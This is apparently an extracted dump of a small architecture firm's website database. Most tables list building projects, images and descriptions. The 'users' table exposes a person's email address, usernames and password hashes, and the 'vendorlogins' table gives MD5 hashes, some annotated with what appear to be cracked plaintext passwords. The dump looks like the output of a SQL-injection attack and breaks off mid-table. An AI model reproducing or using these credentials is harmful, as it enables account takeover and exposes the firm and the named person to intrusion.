+----+---------------------------------+------------------------------------------------------------------------+---------+--------------+ | 1 | Family Health Estero | design8_Family-Health-Center-SW-Florida/new2014FAMILYHEALTHESTERO1.jpg | | 1 | | 2 | Family Health Centers of SWFL 1 | design8_Family-Health-Centers-of-SWFL-1/fhc-003.jpg | | 2 | | 3 | Reception room | design8_Reception-room/FamilyHC-Recept.jpg | | 1 | | 4 | Entryway Detail | design8_Cancer-Specialist-/cancer.jpg | | 3 | | 5 | Exterior Glazing | design8_Cancer-Specialist-2/cancer-DSCN3255.jpg | | 3 | | 6 | West Facade | design8_Cancer-Specialist-3/cancer-DSCN3287.jpg | | 3 | | 7 | Security | design8_Cancer-Specialist-4/cancer-DSCN3288.jpg | | 1 | | 8 | Facade | design8_Cancer-Specialist-5/cancer-DSCN3276.jpg | | 3 | | 9 | Entrance | design8_Cancer-Specialist-6/cancer-Main-Entry-East.jpg | | 3 | | 10 | Signage | design8_Cancer-Specialist-7/cancer-DSCN3258.jpg | | 3 | +----+---------------------------------+------------------------------------------------------------------------+---------+--------------+ Database: pmsarch2014 Table: sections [0 entries] +----+------+--------+---------+---------+ | id | name | date | group | content | +----+------+--------+---------+---------+ +----+------+--------+---------+---------+ Database: pmsarch2014 Table: designs9 [6 entries] +----+----------------------------------------------------------------+---------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | image | title | description | +----+----------------------------------------------------------------+---------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | design9_Emmanuel-Lutheran-Church/Emmanuel-Lutheran-Church2.jpg | Emmanuel Lutheran Church |

New Buildings:

A Sanctuary for Christ Lutheran Church
Cape Coral United Methodist Church
Covenant Presbyterian Church
Emmanuel Lutheran Church, Naples
Friends/Pilgrims Church
Good Shepherd Day School, Port Charlotte
McGregor Baptist Church
St. Michael's Church
St. Paul's Presbyterian Church, Port Charlotte

Major Additions:

First Presbyterian Church, Lehigh
Good Shepherd Lutheran Church
Salvation Army, Naples
St. Luke’s
St. Michael’s Church
St. Raphael’s
YMCA Chapel & Stairs

Remodel & Renovations:

Emmanuel Lutheran Church, Naples
First Presbyterian Church, Lehigh
McGregor Baptist Church Ticket Addition

Master Plans:

Covenant Presbyterian Church

| | 2 | design9_Friends-Pilgrims-Church/Friends-Pilgrims-Church.jpg | Friends Pilgrims Church |

Friends Pilgrims Church

| | 3 | design9_McGregor-Baptist-Church/McGregor-Baptist-Church3.jpg | McGregor Baptist Church |

Location: Ft Myers, FL
Date: 2004

\r\n

Over a series of projects, our firm rebuilt the choir room platform and church ticket booth. We also created a paint scheme for the church interior and exterior.

| | 4 | design9_Saint-Lukes/St-Lukes.jpg | Saint Lukes Episcopal Church |

Saint Lukes Episcopal Church

\r\n

Fort Myers, FL

| | 5 | design9_Salvation-Army/Salvation-Army3.jpg | Salvation Army |

Location: Naples, FL
Date: 2008
Size: 12,809 sq ft

| | 6 | design9_Saint-Michaels/St-Michaels.jpg | Saint Michael's Lutheran Church |

St. Michael's Lutheran Church

\r\n

Sanibel Island, FL

| +----+----------------------------------------------------------------+---------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: designs8 [3 entries] +----+------------------------------------------------------------------------+--------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | image | title | description | +----+------------------------------------------------------------------------+--------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | design8_Family-Health-Center-SW-Florida/new2014FAMILYHEALTHESTERO1.jpg | Family Health Centers of Southwest Florida |

Location: Estero, FL
Date: 2014
Size: 30,400 sf

\r\n

The building contains separeate areas for Adult Medicine, Pediatric Medicine, Dentistry, Pharmacy, and Administrative Offices. Additional coordination was required with the Florida Department of Transportation for the provision of a turn lane off of the main road and into the parking lot.

| | 2 | design8_Family-Health-Centers-of-SWFL/fhc-003.jpg | Family Health Centers of Southwest Florida |

Family Health Centers of Southwest Florida

\r\n

Downtown Fort Myers, FL

| | 3 | design8_Cancer-Specialist/cancer-DSCN3255.jpg | Florida Cancer Specialists |

Location: Fort Myers, FL
Date: 2006
Size: 36,480 sf

\r\n

Corporate Headquarters & Administration Facility

| +----+------------------------------------------------------------------------+--------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: designs [1 entry] +----+------------------------------------------------------+--------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | image | title | description | +----+------------------------------------------------------+--------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 5 | design_Baker-Center/Baker-Center-Front-with-Lawn.jpg | Baker Center |

Location: Punta Gorda, FL
Date: 2007

\r\n

The Baker Center was the first LEED\xae Certified School in Florida. The original school was destroyed during Hurricane Charley in 2004. Our firm wanted to design a new building that was well integrated with the surrounding urban fabric, which consists of small, low income homes.

\r\n

Sustainable Architecture is a standard part of our design and specification proce | +----+------------------------------------------------------+--------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: users [2 entries] +----+-----------+----------------------+---------+-----------+--------------------------------------------------------+------------+------------+-------------+ | id | name | email | enabled | username | password | joinDate | canComment | accessLevel | +----+-----------+----------------------+---------+-----------+--------------------------------------------------------+------------+------------+-------------+ | 1 | Developer | lnilsson@snworks.com | 1 | dev@2018! | 758074f385907ef9ecd377fa2a79f87a82daa16f18c3b0ad93fca2 | 0 | 0 | 2 | | 3 | Beth | lnilsson@snworks.com | 1 | pmsarch | f99d6b6076c1dd4b2d741a575d453965d8c688d7dd33ecf7e251cf | 1402690275 | 0 | 1 | +----+-----------+----------------------+---------+-----------+--------------------------------------------------------+------------+------------+-------------+ Database: pmsarch2014 Table: tags [0 entries] +----+-----+ | id | tag | +----+-----+ +----+-----+ Database: pmsarch2014 Table: vendorlogins [3 entries] +----+-------------------------------------------+-------------+ | id | pass | user | +----+-------------------------------------------+-------------+ | 15 | cb463df59cab9bdd788b1af178f65cf5 | loranilsson | | 17 | ef10c650df47bffd6399e5e78da2a9b1 (CLIENT) | client | | 18 | 7852341745c93238222a65a910d1dcc5 (pat) | pat | +----+-------------------------------------------+-------------+ Database: pmsarch2014 Table: design5_images [11 entries] +----+-------------------------------------+-----------------------------------------------------------------------------------+---------+--------------+ | id | title | image | content | design5-id | +----+-------------------------------------+-----------------------------------------------------------------------------------+---------+--------------+ | 1 | His. Renovation Bradford Building | design5_His.-Renovation-Bradford-Building/Bradford-Building.jpg | | 1 | | 2 | Early on | design5_Early-on/liles-Hotel-Bonita-Springs-early-on.jpg | | 2 | | 3 | Liles Hotel Riverside Park Bonita 2 | design5_Liles-Hotel-Riverside-Park-Bonita-2/Liles-Hotel-Riverside-Park-Bonita.jpg | | 2 | | 4 | Liles Hotel Riverside Park Bonita 3 | design5_Liles-Hotel-Riverside-Park-Bonita-3/Liles-Hotel-RS-Park-w-statue.jpg | | 2 | | 5 | Lee County Court House | design5_Lee-County-Court-House/Lee-County-Courthouse.jpg | | 3 | | 6 | Towles House 1 | design5_Towles-House-1/DSCN1098.jpg | | 4 | | 7 | East Elevation | design5_East-Elevation/East-Elevation-1.jpg | | 4 | | 8 | South Elevation | design5_South-Elevation/South-Elevation-1.jpg | | 4 | | 9 | 2nd Floor Landing | design5_2nd-Floor-Landing/20140722_112405.jpg | | 5 | | 10 | Dining Room | design5_Dining-Room/20140722_112659.jpg | | 5 | | 11 | North Facade | design5_North-Facade/03 north elev (6).JPG | | 5 | +----+-------------------------------------+-----------------------------------------------------------------------------------+---------+--------------+ Database: pmsarch2014 Table: tags_to_posts [0 entries] +----+-----+-----+ | id | tid | pid | +----+-----+-----+ +----+-----+-----+ Database: pmsarch2014 Table: design4_images [16 entries] +----+---------------------------+-----------------------------------------------------------------+---------+--------------+ | id | title | image | content | design4-id | +----+---------------------------+-----------------------------------------------------------------+---------+--------------+ | 1 | Allen Park | design4_Allen-Park/allen-park.jpg | | 1 | | 5 | Bonita Springs Elementary | design4_Bonita-Springs-Elementary/bonita-springs-elementary.jpg | | 4 | | 6 | Edison College 1 | design4_Edison-College-1/Edison-college.jpg | | 5 | | 7 | Edison College 2 | design4_Edison-College-2/Edison-college2.jpg | | 5 | | 8 | Reed Hall 1 | design4_Reed-Hall-1/FGCU-Reed-hall.jpg | | 6 | | 9 | Reed Hall 2 | design4_Reed-Hall-2/FGCU-Reed-hall2.jpg | | 6 | | 10 | Reed Hall 3 | design4_Reed-Hall-3/FGCU-Reed-hall3.jpg | | 6 | | 11 | Tice Elementary 1 | design4_Tice-Elementary-1/new2014TICE-Elementary1.jpg | | 7 | | 12 | Front Entrance | design4_Tice-Elementary-2/new2014TICE-Elementary2.jpg | | 7 | | 13 | Library | design4_Tice-Elementary-3/new2014TICE-Elementary3.jpg | | 7 | | 14 | Cafeteria with Stage | design4_Tice-Elementary-4/new2014-TICE-Elementary4.jpg | | 7 | | 15 | Technology Classroom | design4_Tice-Elementary-5/new2014-TICE-Elementary5.jpg | | 7 | | 16 | Back Exterior | design4_Tice-Elementary-6/tice-elementry.jpg | | 7 | | 17 | Classroom | design4_Classroom/DSC02972.JPG | | 8 | | 18 | Exterior View | design4_Exterior-View/DSC02957.JPG | | 8 | | 19 | Playground | design4_Playground/DSC02980.JPG | | 8 | +----+---------------------------+-----------------------------------------------------------------+---------+--------------+ Database: pmsarch2014 Table: posts_to_feed [49 entries] +---------------------------------------------+---------------------------------------------+---------------------------------------------+ | id | pid | fid | +---------------------------------------------+---------------------------------------------+---------------------------------------------+ | base64:type253:MXRwbmVobjF0cG5laG4x | base64:type253:MXRwbmVobjF0cG5laG4x | base64:type253:MXRwbmVobjF0cG5laG4x | | base64:type253:MnRwbmVobjQ3dHBuZWhuNDc= | base64:type253:MnRwbmVobjQ3dHBuZWhuNDc= | base64:type253:MnRwbmVobjQ3dHBuZWhuNDc= | | base64:type253:MXRwbmVobjQ5dHBuZWhuNDk= | base64:type253:MXRwbmVobjQ5dHBuZWhuNDk= | 